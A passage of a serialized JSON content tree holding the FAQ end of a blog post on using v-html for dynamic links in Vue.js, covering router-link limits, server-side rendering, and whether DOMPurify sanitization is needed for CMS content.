it.",{"type":33,"tag":34,"props":16595,"children":16596},{},[16597],{"type":33,"tag":201,"props":16598,"children":16599},{},[16600,16602,16607,16609,16614],{"type":38,"value":16601},"Can I use ",{"type":33,"tag":41,"props":16603,"children":16605},{"className":16604},[],[16606],{"type":38,"value":13771},{"type":38,"value":16608}," inside ",{"type":33,"tag":41,"props":16610,"children":16612},{"className":16611},[],[16613],{"type":38,"value":13750},{"type":38,"value":7821},{"type":33,"tag":34,"props":16616,"children":16617},{},[16618,16620,16625,16627,16632,16634,16640,16642,16647],{"type":38,"value":16619},"No. ",{"type":33,"tag":41,"props":16621,"children":16623},{"className":16622},[],[16624],{"type":38,"value":13750},{"type":38,"value":16626}," sets ",{"type":33,"tag":41,"props":16628,"children":16630},{"className":16629},[],[16631],{"type":38,"value":16192},{"type":38,"value":16633},", and the browser has no idea what a ",{"type":33,"tag":41,"props":16635,"children":16637},{"className":16636},[],[16638],{"type":38,"value":16639},"\u003Crouter-link>",{"type":38,"value":16641}," element is, so it renders an unknown element with no behaviour. Component resolution requires the compiler. Use a runtime template compiler or ",{"type":33,"tag":41,"props":16643,"children":16645},{"className":16644},[],[16646],{"type":38,"value":16520},{"type":38,"value":16648}," if you need real components in dynamic content.",{"type":33,"tag":34,"props":16650,"children":16651},{},[16652],{"type":33,"tag":201,"props":16653,"children":16654},{},[16655],{"type":38,"value":16656},"Does this work with server-side rendering?",{"type":33,"tag":34,"props":16658,"children":16659},{},[16660,16662,16668],{"type":38,"value":16661},"The handler only runs on click, so it never executes during SSR. The ",{"type":33,"tag":41,"props":16663,"children":16665},{"className":16664},[],[16666],{"type":38,"value":16667},"window.location.href",{"type":38,"value":16669}," reference inside it is safe for the same reason. The HTML itself renders on the server as normal.",{"type":33,"tag":34,"props":16671,"children":16672},{},[16673],{"type":33,"tag":201,"props":16674,"children":16675},{},[16676],{"type":38,"value":16677},"Do I still need DOMPurify if the content comes from my own CMS?",{"type":33,"tag":34,"props":16679,"children":16680},{},[16681],{"type":38,"value":16682},"It depends on who can write to the CMS. If it is a small internal team, the sanitizer is protecting you against a compromised account rather than a hostile author. That is still a real threat, and DOMPurify costs about 20KB gzipped, so the trade is usually easy. If anonymous users can submit content, it is not optional, and it belongs on the server.",{"type":33,"tag":7947,"props":16684,"children":16685},{},[16686],{"type":38,"value":7951},{"title":7,"searchDepth":402,"depth":402,"links":16688},[16689,16690,16691,16692,16693,16694,16695],{"id":13796,"depth":402,"text":13799},{"id":14647,"depth":402,"text":14650},{"id":15839,"depth":402,"text":15842},{"id":15988,"depth":402,"text":15991},{"id":16173,"depth":402,"text":16176},{"id":16501,"depth":402,"text":16504},{"id":7803,"depth":402,"text":7806},"content:blog:dynamically-generated-links-with-v-html-in-vuejs.md","blog/dynamically-generated-links-with-v-html-in-vuejs.md",1791452479777]